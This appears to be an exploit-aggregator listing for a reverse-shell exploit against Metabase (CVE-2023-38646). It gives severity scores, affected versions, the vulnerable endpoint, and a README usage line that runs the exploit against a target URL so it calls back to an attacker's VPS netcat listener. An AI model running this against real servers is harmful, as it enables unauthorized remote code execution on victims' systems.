Exploit for cve-2023-38646-metabase-ReverseShell

kitploit · 2026-09-02

Description

Reverse shell exploit for CVE-2023-38646 in Metabase using NC listener.

Entry point

Parametertoken · path

Path/api/setup/validate

Endpoint used to validate and deploy payload to trigger RCE

Affected Metabase versions

Metabase< 0.43.7.2, 1.43.7.2, 0.44.7.1, 0.45.4.1, 0.46.6.1, 1.44.7.1, 1.45.4.1, 1.46.6.1

All known vulnerabilities by product

CVSS 9.8 for CVE-2023-38646

9.8

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

EPSS Score

98.7%higher than 99.9% of all CVEs

Updated 2026-09-04

Exploit Details

Modified:2026-09-02 05:00

Last Seen:2026-09-02 05:53

Reporter:KitPloit

Tags

MetabaseReverse ShellCVE-2023-38646Exploit ToolNetcat Listener

Other exploits for CVE-2023-38646

2026-09-04 KitPloitKITPLOIT

2026-09-04 KitPloitKITPLOIT

CVE-2023-38646-PoC

2026-09-04 KitPloitKITPLOIT

2026-09-04 KitPloitKITPLOIT

2026-09-04 KitPloitKITPLOIT

CVE-2023-38646-Poc

2026-09-04 KitPloitKITPLOIT

2026-09-04 KitPloitKITPLOIT

cve-2023-38646-poc

2026-09-04 KitPloitKITPLOIT

Exploit Code

MARKDOWN10 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ANY3ITE-CVE-2023-38646-METABASE-REVERSESHELL
# cve-2023-38646-metabase-ReverseShell

## ejecutar comando

`go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port`

## nota

> cuando ingreses el host de destino, no olvides el `http://` o `https://`